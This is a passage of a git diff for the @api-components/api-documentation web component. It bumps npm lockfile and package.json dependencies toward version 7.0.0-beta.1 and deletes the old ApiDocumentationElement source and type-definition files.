"sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + } } }, "tr46": { @@ -11716,6 +10452,28 @@ "integrity": "sha512-XrHUvV5HpdLmIj4uVMxHggLbFSZYIn7HEWsqePZcI50pco+MPqJ50wMGY794X7AOOhxOBAjbkqfAbEe/QMp2Lw==", "dev": true }, + "ts-node": { + "version": "9.1.1", + "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-9.1.1.tgz", + "integrity": "sha512-hPlt7ZACERQGf03M253ytLY3dHbGNGrAq9qIHWUY9XHYl1z7wYngSr3OQ5xmui8o2AaxsONxIzjafLUiWBo1Fg==", + "dev": true, + "requires": { + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "source-map-support": "^0.5.17", + "yn": "3.1.1" + }, + "dependencies": { + "diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true + } + } + }, "tsconfig-paths": { "version": "3.11.0", "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.11.0.tgz", @@ -11772,9 +10530,9 @@ } }, "typescript": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.2.tgz", - "integrity": "sha512-gzP+t5W4hdy4c+68bfcv0t400HVJMMd2+H9B7gae1nQlBzCqvrXX+6GL/b3GAgyTH966pzrZ70/fRjwAtZksSQ==", + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.3.tgz", + "integrity": "sha512-4xfscpisVgqqDfPaJo5vkd+Qd/ItkoagnHpufr+i2QCHBsNYp+G7UAoyFl8aPtx879u38wPV65rZ8qbGZijalA==", "dev": true }, "typescript-lit-html-plugin": { @@ -11841,20 +10599,16 @@ "through": "^2.3.8" } }, - "underscore": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.6.0.tgz", - "integrity": "sha1-izixDKze9jM3uLJOT/htRa6lKag=" - }, "uniq": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=" }, "universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true }, "unpipe": { "version": "1.0.0", @@ -11921,9 +10675,10 @@ "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, "uuid": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", - "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==" + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true }, "v8-compile-cache": { "version": "2.3.0", @@ -12157,34 +10912,6 @@ "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.4.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "winston-transport": { @@ -12197,18 +10924,6 @@ "triple-beam": "^1.2.0" }, "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, "readable-stream": { "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", @@ -12274,41 +10989,6 @@ "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - } } }, "wrappy": { @@ -12367,9 +11047,9 @@ "dev": true }, "yargs": { - "version": "17.1.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.1.1.tgz", - "integrity": "sha512-c2k48R0PwKIqKhPMWjeiF6y2xY/gPMUlro0sgxqXpbOIohWiLNXWslsootttv7E1e73QPAMQSg5FeySbVcpsPQ==", + "version": "17.2.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.2.1.tgz", + "integrity": "sha512-XfR8du6ua4K6uLGm5S6fA+FIJom/MdJcFNVY8geLlp2v8GYbOXD4EB1tPNZsRn4vBzKGMgb5DRZMeWuFc2GO8Q==", "dev": true, "requires": { "cliui": "^7.0.2", @@ -12562,6 +11242,12 @@ "integrity": "sha512-faQrqNMzcPCHGVC2aaOINk13K+aaBDUPjGWl0teOXywElLjyVAB6Oe2jj62jHYtwsU49jXhScYbvPENK+6zAvQ==", "dev": true }, + "yn": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "dev": true + }, "yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", diff --git a/package.json b/package.json index 8c36c02..d36da1a 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@api-components/api-documentation", "description": "A main documentation view for AMF model", - "version": "6.0.5", + "version": "7.0.0-beta.1", "license": "Apache-2.0", "main": "index.js", "module": "index.js", @@ -10,10 +10,15 @@ "api-console", "api-documentation" ], - "authors": [ - "Pawel Psztyc" - ], + "author": { + "name": "Pawel Uchida-Psztyc", + "email": "pawel.psztyc@mulesoft.com" + }, "contributors": [ + "Carolina Wright", + "Francisco Di Giandomenico", + "Leandro Bauret", + "Yury", "Your name can be here!" ], "repository": { @@ -25,40 +30,50 @@ "email": "arc@mulesoft.com" }, "dependencies": { + "@advanced-rest-client/arc-events": "^0.2.21", + "@advanced-rest-client/arc-icons": "^3.3.4", "@advanced-rest-client/events-target-mixin": "^3.2.4", - "@api-components/amf-helper-mixin": "^4.5.1", - "@api-components/api-documentation-document": "^4.1.0", - "@api-components/api-endpoint-documentation": "^6.0.2", - "@api-components/api-method-documentation": "^5.2.5", - "@api-components/api-security-documentation": "^4.1.1", - "@api-components/api-server-selector": "^0.6.4", - "@api-components/api-summary": "^4.6.0", - "@api-components/api-type-documentation": "^4.1.2", + "@advanced-rest-client/highlight": "^1.1.1", + "@advanced-rest-client/http-code-snippets": "^3.2.2", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-collapse": "^0.1.2", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-item": "^1.1.2", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@anypoint-web-components/anypoint-radio-button": "^0.1.9", + "@anypoint-web-components/anypoint-tabs": "^0.1.19", + "@api-components/amf-helper-mixin": "^4.5.15", + "@api-components/api-request": "^0.3.0-beta.9", + "@api-components/api-schema": "^0.1.4", + "@api-components/api-server-selector": "^0.7.1", + "@api-components/http-method-label": "^3.1.4", + "@open-wc/dedupe-mixin": "^1.3.0", + "dompurify": "^2.3.3", "lit-element": "^2.5.1", "lit-html": "^1.4.1" }, "devDependencies": { - "@advanced-rest-client/arc-demo-helper": "^2.2.6", - "@advanced-rest-client/oauth-authorization": "^5.0.5", + "@advanced-rest-client/arc-demo-helper": "^3.0.3", + "@advanced-rest-client/authorization": "^0.2.3", "@anypoint-web-components/anypoint-checkbox": "^1.2.2", + "@anypoint-web-components/anypoint-dialog": "^0.1.10", "@anypoint-web-components/anypoint-input": "^0.2.27", "@anypoint-web-components/anypoint-styles": "^1.0.2", "@api-components/api-model-generator": "^0.2.14", - "@api-components/api-navigation": "^4.3.1", - "@api-components/api-request": "^0.2.1", - "@commitlint/cli": "^12.1.4", - "@commitlint/config-conventional": "^12.1.4", + "@api-components/api-navigation": "^4.3.2", + "@commitlint/cli": "^13.2.0", + "@commitlint/config-conventional": "^13.2.0", "@open-wc/eslint-config": "^4.3.0", "@open-wc/testing": "^2.5.33", - "@web/dev-server": "^0.1.22", - "@web/test-runner": "^0.13.17", + "@web/dev-server": "^0.1.25", + "@web/test-runner": "^0.13.18", "@web/test-runner-playwright": "^0.8.8", "eslint": "^7.32.0", "eslint-config-prettier": "^8.3.0", - "husky": "^6.0.0", - "lint-staged": "^11.1.2", - "sinon": "^10.0.0", - "typescript": "^4.4.2", + "husky": "^7.0.2", + "lint-staged": "^11.2.0", + "sinon": "^11.1.2", + "typescript": "^4.4.3", "typescript-lit-html-plugin": "^0.9.0", "uglify-js": "^3.14.2" }, @@ -69,10 +84,11 @@ "lint:types": "tsc", "lint": "npm run lint:eslint", "format": "npm run format:eslint", - "test": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium firefox webkit", - "test:watch": "web-test-runner test/**/*.test.js --node-resolve --watch --playwright --browsers chromium", + "test": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium webkit", + "test:all": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium firefox webkit", + "test:watch": "web-test-runner --node-resolve --watch --playwright --browsers chromium", "gen:wc": "wca analyze \"*.js\" --outFile custom-elements.json", - "prepare": "node demo/prepare.js && node demo/model.js" + "prepare": "node demo/model.mjs" }, "eslintConfig": { "extends": [ diff --git a/src/ApiDocumentationElement.d.ts b/src/ApiDocumentationElement.d.ts deleted file mode 100644 index ad54a1e..0000000 --- a/src/ApiDocumentationElement.d.ts +++ /dev/null @@ -1,501 +0,0 @@ -/* eslint-disable no-plusplus */ -/* eslint-disable no-continue */ -/* eslint-disable no-param-reassign */ -/* eslint-disable class-methods-use-this */ -import { html, css, LitElement, CSSResult, TemplateResult } from 'lit-element'; -import { AmfHelperMixin } from '@api-components/amf-helper-mixin'; -import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin'; - -/** - * `api-documentation` - * - * A main documentation view for AMF model. - * - * This element works with [AMF](https://github.com/mulesoft/amf) data model. - * - * It works well with `api-navigation` component. When `handle-navigation-events` - * is set it listens for selection events dispatched by the navigation. - * - * To manually steere the behavior of the component you have to set both: - * - selected - * - selectedType - * - * Selected is an `@id` of the AMF data model in json/ld representation. - * Selected type tells the component where to look for the data and which - * view to render. - * - * The component handles data computation on selection change. - * - * ## Updating API's base URI - * - * By default the component render the documentation as it is defined - * in the AMF model. Sometimes, however, you may need to replace the base URI - * of the API with something else. It is useful when the API does not - * have base URI property defined (therefore this component render relative - * paths instead of URIs) or when you want to manage different environments. - * - * To update base URI value either update `baseUri` property or use - * `iron-meta` with key `ApiBaseUri`. First method is easier but the second - * gives much more flexibility since it use a - * [monostate pattern](http://wiki.c2.com/?MonostatePattern) - * to manage base URI property. - * - * When the component constructs the final URI for the endpoint it does the following: - * - if `baseUri` is set it uses this value as a base uri for the endpoint - * - else if `iron-meta` with key `ApiBaseUri` exists and contains a value - * it uses it uses this value as a base uri for the endpoint - * - else if `amf` is set then it computes base uri value from main - * model document - * Then it concatenates computed base URI with `endpoint`'s path property. - * - * ### Example - * - * ```html - * - * ``` - * - * To update value of the `iron-meta`: - * ```javascript - * new Polymer.IronMeta({key: 'ApiBaseUri'}).value = 'https://other.domain'; - * ``` - * - * Note: The element will not be notified about the change when `iron-meta` value change. - * The change will be reflected when `amf` or `endpoint` property change. - */ -export class ApiDocumentationElement extends EventsTargetMixin(AmfHelperMixin(LitElement)) { - get styles(): CSSResult; - - /** - * A model's `@id` of selected documentation part. - * Special case is for `summary` view. It's not part of an API - * but most applications has some kind of summary view for the - * API. - * @attribute - */ - selected: string; - /** - * Type of the selected item. - * One of `documentation`, `type`, `security`, `endpoint`, `method` - * or `summary`. - * @attribute - */ - selectedType: string; - /** - * By default application hosting the element must set `selected` and - * `selectedType` properties. When using `api-navigation` element - * by setting this property the element listens for navigation events - * and updates the state - * @attribute - */ - handleNavigationEvents: boolean; - /** - * A property to set to override AMF's model base URI information. - * @attribute - */ - baseUri: string; - /** - * Passing value of `noTryIt` to the method documentation. - * Hides "Try it" button. - * @attribute - */ - noTryIt: boolean; - /** - * If set it will renders the view in the narrow layout. - * @attribute - */ - narrow: boolean; - /** - * If set then it renders methods documentation inline with - * the endpoint documentation. - * When it's not set (or value is `false`, default) then it renders - * just a list of methods with links. - * @attribute - */ - inlineMethods: boolean; - /** - * Scroll target used to observe `scroll` event. - * When set the element will observe scroll and inform other components - * about changes in navigation while scrolling through methods list. - * The navigation event contains `passive: true` property that - * determines that it's not user triggered navigation but rather - * context enforced. - */ - scrollTarget: Window|HTMLElement; - /** - * OAuth2 redirect URI. - * This value **must** be set in order for OAuth 1/2 to work properly. - * This is only required in inline mode (`inlineMethods`). - * @attribute - */ - redirectUri: string; - /** - * Enables compatibility with Anypoint components. - * @attribute - */ - compatibility: boolean; - /** - * When enabled it renders external types as links and dispatches - * `api-navigation-selection-changed` when clicked. - * - * This property is experimental. - * @attribute - */ - graph: boolean; - /** - * Applied outlined theme to the try it panel - * @attribute - */ - outlined: boolean; - /** - * In inline mode, passes the `noUrlEditor` value on the - * `api-request-panel` - * @attribute - */ - noUrlEditor: boolean; - - // Currently rendered view type - _viewType: string; - /** - * Computed value of the final model extracted from the `amf`, `selected`, - * and `selectedType` properties. - */ - _docsModel: any; - /** - * Computed value of currently rendered endpoint. - */ - _endpoint: any; - /** - * When set it hides bottom navigation links - * @attribute - */ - noBottomNavigation: boolean; - /** - * Hide OAS 3.0 server selector - * @attribute - */ - noServerSelector: boolean; - /** - * If true, the server selector custom base URI option is rendered - * @attribute - */ - allowCustomBaseUri: boolean; - /** - * The URI of the server currently selected in the server selector - * @attribute - */ - serverValue: string; - /** - * The type of the server currently selected in the server selector - * @attribute - */ - serverType: string; - - /** - * If this value is set, then the documentation component will pass it down - * to the `api-summary` component to sort the list of endpoints based - * on the `path` value of the endpoint, keeping the order - * of which endpoint was first in the list, relative to each other - */ - rearrangeEndpoints: boolean; - - get showsSelector(): boolean; - - get effectiveBaseUri(): string; - - constructor(); - - disconnectedCallback(): void; - - __amfChanged(): void; - - _processModelChange(): void; - - /** - * Registers `api-navigation-selection-changed` event listener handler - * on window object. - */ - _registerNavigationEvents(): void; - - /** - * Removes event listener from window object for - * `api-navigation-selection-changed` event. - */ - _unregisterNavigationEvents(): void; - - /** - * Registers / unregisters event listeners depending on `state` - */ - _handleNavChanged(state: boolean): void; - - get server(): any; - - /** - * Handler for `api-navigation-selection-changed` event. - */ - _navigationHandler(e: CustomEvent): void; - - _handleServersCountChange(e: CustomEvent): void; - - _getServerUri(server: any): string|undefined; - - _handleServerChange(e: CustomEvent): void; - - /** - * Processes selection for the web API data model. It ignores the input if - * `selected` or `selectedType` is not set. - * @param model WebApi AMF model. Do not use an array here. - */ - __processApiSpecSelection(model: any): void; - - /** - * Computes security scheme definition model from web API and current selection. - * It looks for the definition in both `declares` and `references` properties. - * Returned value is already resolved AMF model (references are resolved). - * - * @param model WebApi AMF model. Do not use an array here. - * @param selected Currently selected `@id`. - * @returns Model definition for the security scheme. - */ - _computeSecurityApiModel(model: any, selected: string): any|undefined; - - /** - * Computes type definition model from web API and current selection. - * It looks for the definition in both `declares` and `references` properties. - * Returned value is already resolved AMF model (references are resolved). - * - * @param model WebApi AMF model. Do not use an array here. - * @param selected Currently selected `@id`. - * @returns Model definition for a type. - */ - _computeTypeApiModel(model: any, selected: string): any|undefined; - - /** - * Computes documentation definition model from web API and current selection. - * - * @param model WebApi AMF model. Do not use an array here. - * @param selected Currently selected `@id`. - * @returns Model definition for a documentation fragment. - */ - _computeDocsApiModel(model: any, selected: string): any|undefined; - - /** - * Computes Endpoint definition model from web API and current selection. - * - * @param model WebApi AMF model. Do not use an array here. - * @param selected Currently selected `@id`. - * @returns Model definition for an endpoint fragment. - */ - _computeEndpointApiModel(model: any, selected: string): any|undefined; - - /** - * Computes Method definition model from web API and current selection. - * - * @param model WebApi AMF model. Do not use an array here. - * @param selected Currently selected `@id`. - * @returns Model definition for an endpoint fragment. - */ - _computeMethodApiModel(model: any, selected: string): any|undefined; - - _computeEndpointApiMethodModel(model: any, selected: string): any|undefined; - - /** - * Processes selection for a library data model. It ignores the input if - * `selected` or `selectedType` is not set. - * @param model Library AMF model. Do not use an array here. - */ - __processLibrarySelection(model: any): void; - - /** - * Computes Security scheme from a Library model. - * @param model Library AMF model. - * @param selected Currently selected `@id`. - * @returns Model definition for a security. - */ - _computeSecurityLibraryModel(model: any, selected: string): any|undefined; - - /** - * Computes Type definition from a Library model. - * @param model Library AMF model. - * @param selected Currently selected `@id`. - * @returns Model definition for a type. - */ - _computeTypeLibraryModel(model: any, selected: string): any|undefined; - - /** - * Extracts security model from security scheme fragment and sets current selection - * and the model. - * @param model Security scheme fragment model - */ - _processSecurityFragment(model: any): void; - - /** - * Extracts documentation model from documentation fragment and sets current selection - * and the model. - * @param model Documentation fragment model - */ - _processDocumentationFragment(model: any): void; - - /** - * Extracts Type model from Type fragment and sets current selection - * and the model. - * @param model Type fragment model - */ - _processTypeFragment(model: any): void; - - /** - * Processes fragment model and sets current selection and the model. - * @param model RAML fragment model - * @param selectedType Currently selected type. - */ - __processFragment(model: any, selectedType: string): void; - - _processDocumentationPartial(model: any): void; - - _processSecurityPartial(model: any): void; - - _processTypePartial(model: any): void; - - /** - * Processes endpoint data from partial model definition. - * It sets models that are used by the docs. - * - * If `selected` or `selectedType` is not set then it automatically selects - * an endpoint. - * @param model Partial model for endpoints - */ - _processEndpointPartial(model: any): void; - - /** - * Creates a link model that is accepted by the endpoint documentation - * view. - * @param item An AMF shape to use to get the data from. - * @returns Object with `label` and `id` or `undefined` - * if no item. - */ - _computeEndpointLink(item: any): any|undefined; - - /** - * Computes link model for previous endpoint, if any exists relative to - * current selection. - * @param model Web API AMF model - * @param selected Currently selected endpoint - * @param lookupMethods When set it looks for the ID in methods array. - * @returns Object with `label` and `id` or `undefined` if no previous item. - */ - _computeEndpointPrevious(model: any, selected: string, lookupMethods?: boolean): any|undefined; - - /** - * Computes link model for next endpoint, if any exists relative to - * current selection. - * @param model WebApi shape object of AMF - * @param selected Currently selected endpoint - * @param lookupMethods When set it looks for the ID in methods array. - * @returns Object with `label` and `id` or `undefined` if no next item. - */ - _computeEndpointNext(model: any, selected: string, lookupMethods?: boolean): any|undefined; - - /** - * Creates a link model that is accepted by the method documentation - * view. - * @param item An AMF shape to use to get the data from. - * @returns Object with `label` and `id` or `undefined` if no item. - */ - _computeMethodLink(item: any): any|undefined; - - /** - * Computes link for the previous method. - * This is used by the method documentation panel to render previous - * method link. - * @param model WebApi shape object of AMF - * @param selected Currently selected method - * @returns Object with `label` and `id` or `undefined` - * if no previous item. - */ - _computeMethodPrevious(model: any, selected: string): any|undefined; - - /** - * Computes link for the next method. - * This is used by the method documentation panel to render next - * method link. - * @param model WebApi shape object of AMF - * @param selected Currently selected method - * @returns Object with `label` and `id` or `undefined` - * if no next item. - */ - _computeMethodNext(model: any, selected: string): any|undefined; - - /** - * Computes method definition from an endpoint partial model. - * @param api Endpoint partial model - * @param selected Currently selected ID. - * @returns Method model. - */ - _computeMethodPartialEndpoint(api: any, selected: string): any|undefined; - - /** - * Tests if `model` is of a RAML library model. - * @param model A shape to test - */ - _isLibrary(model: any): boolean; - - /** - * Computes a security model from a reference (library for example). - * @param reference AMF model for a reference to extract the data from - * @param selected Node ID to look for - * @returns Type definition or undefined if not found. - */ - _computeReferenceSecurity(reference: any|any[], selected: string): any|undefined; - - /** - * Computes model of a shape defined ni `declares` list - * @param model AMF model - * @param selected Current selection - */ - _computeDeclById(model: any, selected: string): any|undefined; - - _isTypeFragment(model: any): boolean; - - _isTypePartialModel(model: any): boolean; - - _isSecurityFragment(model: any): boolean; - - _isSecurityPartialModel(model: any): boolean; - - _isDocumentationFragment(model: any): boolean; - - _isDocumentationPartialModel(model: any): boolean; - - _isEndpointPartialModel(model: any): boolean; - - /** - * Computes API's media types when requesting type documentation view. - * This is passed to the type documentation to render examples in the type - * according to API's defined media type. - * - * @param model API model. - * @returns List of supported media types or undefined. - */ - _computeApiMediaTypes(model: any): string[]|undefined; - - render(): TemplateResult; - - _renderServerSelector(): TemplateResult|string; - - _renderView(): TemplateResult|string; - - _summaryTemplate(): TemplateResult; - - _securityTemplate(): TemplateResult; - - _documentationTemplate(): TemplateResult; - - _typeTemplate(): TemplateResult; - - _methodTemplate(): TemplateResult; - - _endpointTemplate(): TemplateResult; - - _inlineEndpointTemplate(): TemplateResult; - - _simpleEndpointTemplate(): TemplateResult; -} diff --git a/src/ApiDocumentationElement.js b/src/ApiDocumentationElement.js deleted file mode 100644 index 53e466c..0000000 --- a/src/ApiDocumentationElement.js +++ /dev/null @@ -1,1236 +0,0 @@ -/* eslint-disable no-plusplus */ -/* eslint-disable no-continue */ -/* eslint-disable no-param-reassign */ -/* eslint-disable class-methods-use-this */ -import { html, css, LitElement } from 'lit-element'; -import { AmfHelperMixin } from '@api-components/amf-helper-mixin'; -import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin'; -import '@api-components/api-endpoint-documentation/api-endpoint-documentation.js'; -import '@api-components/api-type-documentation/api-type-documentation.js'; -import '@api-components/api-documentation-document/api-documentation-document.js'; -import '@api-components/api-method-documentation/api-method-documentation.js'; -import '@api-components/api-summary/api-summary.js'; -import '@api-components/api-security-documentation/api-security-documentation.js'; -import '@api-components/api-server-selector/api-server-selector.js' - -/** - * `api-documentation` - * - * A main documentation view for AMF model. - * - * This element works with [AMF](https://github.com/mulesoft/amf) data model. - * - * It works well with `api-navigation` component. When `handle-navigation-events` - * is set it listens for selection events dispatched by the navigation. - * - * To manually steere the behavior of the component you have to set both: - * - selected - * - selectedType - * - * Selected is an `@id` of the AMF data model in json/ld representation. - * Selected type tells the component where to look for the data and which - * view to render. - * - * The component handles data computation on selection change. - * - * ## Updating API's base URI - * - * By default the component render the documentation as it is defined - * in the AMF model. Sometimes, however, you may need to replace the base URI - * of the API with something else. It is useful when the API does not - * have base URI property defined (therefore this component render relative - * paths instead of URIs) or when you want to manage different environments. - * - * To update base URI value either update `baseUri` property or use - * `iron-meta` with key `ApiBaseUri`. First method is easier but the second - * gives much more flexibility since it use a - * [monostate pattern](http://wiki.c2.com/?MonostatePattern) - * to manage base URI property. - * - * When the component constructs the final URI for the endpoint it does the following: - * - if `baseUri` is set it uses this value as a base uri for the endpoint - * - else if `iron-meta` with key `ApiBaseUri` exists and contains a value - * it uses it uses this value as a base uri for the endpoint - * - else if `amf` is set then it computes base uri value from main - * model document - * Then it concatenates computed base URI with `endpoint`'s path property. - * - * ### Example - * - * ```html - * - * ``` - * - * To update value of the `iron-meta`: - * ```javascript - * new Polymer.IronMeta({key: 'ApiBaseUri'}).value = 'https://other.domain'; - * ``` - * - * Note: The element will not be notified about the change when `iron-meta` value change. - * The change will be reflected when `amf` or `endpoint` property change. - */ -export class ApiDocumentationElement extends EventsTargetMixin(AmfHelperMixin(LitElement)) { - get styles() { - return css` - :host { - display: block; - } - - .server-selector { - margin-left: -8px; - } - `; - } - - static get properties() { - return { - /** - * A model's `@id` of selected documentation part. - * Special case is for `summary` view. It's not part of an API - * but most applications has some kind of summary view for the - * API. - */ - selected: { type: String }, - /** - * Type of the selected item. - * One of `documentation`, `type`, `security`, `endpoint`, `method` - * or `summary`. - */ - selectedType: { type: String }, - /** - * By default application hosting the element must set `selected` and - * `selectedType` properties. When using `api-navigation` element - * by setting this property the element listens for navigation events - * and updates the state - */ - handleNavigationEvents: { type: Boolean }, - /** - * A property to set to override AMF's model base URI information. - */ - baseUri: { type: String }, - /** - * Passing value of `noTryIt` to the method documentation. - * Hides "Try it" button. - */ - noTryIt: { type: Boolean }, - /** - * If set it will renders the view in the narrow layout. - */ - narrow: { type: Boolean }, - /** - * If set then it renders methods documentation inline with - * the endpoint documentation. - * When it's not set (or value is `false`, default) then it renders - * just a list of methods with links. - */ - inlineMethods: { type: Boolean }, - /** - * Scroll target used to observe `scroll` event. - * When set the element will observe scroll and inform other components - * about changes in navigation while scrolling through methods list. - * The navigation event contains `passive: true` property that - * determines that it's not user triggered navigation but rather - * context enforced. - */ - scrollTarget: { type: Object }, - /** - * OAuth2 redirect URI. - * This value **must** be set in order for OAuth 1/2 to work properly. - * This is only required in inline mode (`inlineMethods`). - */ - redirectUri: { type: String }, - /** - * Enables compatibility with Anypoint components. - */ - compatibility: { type: Boolean }, - /** - * When enabled it renders external types as links and dispatches - * `api-navigation-selection-changed` when clicked. - * - * This property is experimental. - */ - graph: { type: Boolean }, - /** - * Applied outlined theme to the try it panel - */ - outlined: { type: Boolean }, - /** - * In inline mode, passes the `noUrlEditor` value on the - * `api-request-panel` - */ - noUrlEditor: { type: Boolean }, - - // Currently rendered view type - _viewType: { type: String }, - /** - * Computed value of the final model extracted from the `amf`, `selected`, - * and `selectedType` properties. - * @type {Object} - */ - _docsModel: { type: Object }, - /** - * Computed value of currently rendered endpoint. - */ - _endpoint: { type: Object }, - /** - * When set it hides bottom navigation links - */ - noBottomNavigation: { type: Boolean }, - /** - * Hide OAS 3.0 server selector - */ - noServerSelector: { type: Boolean }, - /** - * If true, the server selector custom base URI option is rendered - */ - allowCustomBaseUri: { type: Boolean }, - /** - * The URI of the server currently selected in the server selector - */ - serverValue: { type: String }, - /** - * The type of the server currently selected in the server selector - */ - serverType: { type: String }, - }; - } - - get selected() { - return this._selected; - } - - set selected(value) { - const old = this._selected; - /* istanbul ignore if */ - if (old === value) { - return; - } - this._selected = value; - this.__amfChanged(); - this.requestUpdate('selected', old); - } - - get selectedType() { - return this._selectedType; - } - - set selectedType(value) { - const old = this._selectedType; - /* istanbul ignore if */ - if (old === value) { - return; - } - this.__amfChanged(); - this._selectedType = value; - } - - get showsSelector() { - const { selectedType, serversCount, allowCustomBaseUri } = this; - const isMethodOrEndpoint = !!selectedType && (selectedType === "method" || selectedType === "endpoint"); - const moreThanOneServer = serversCount >= 2; - 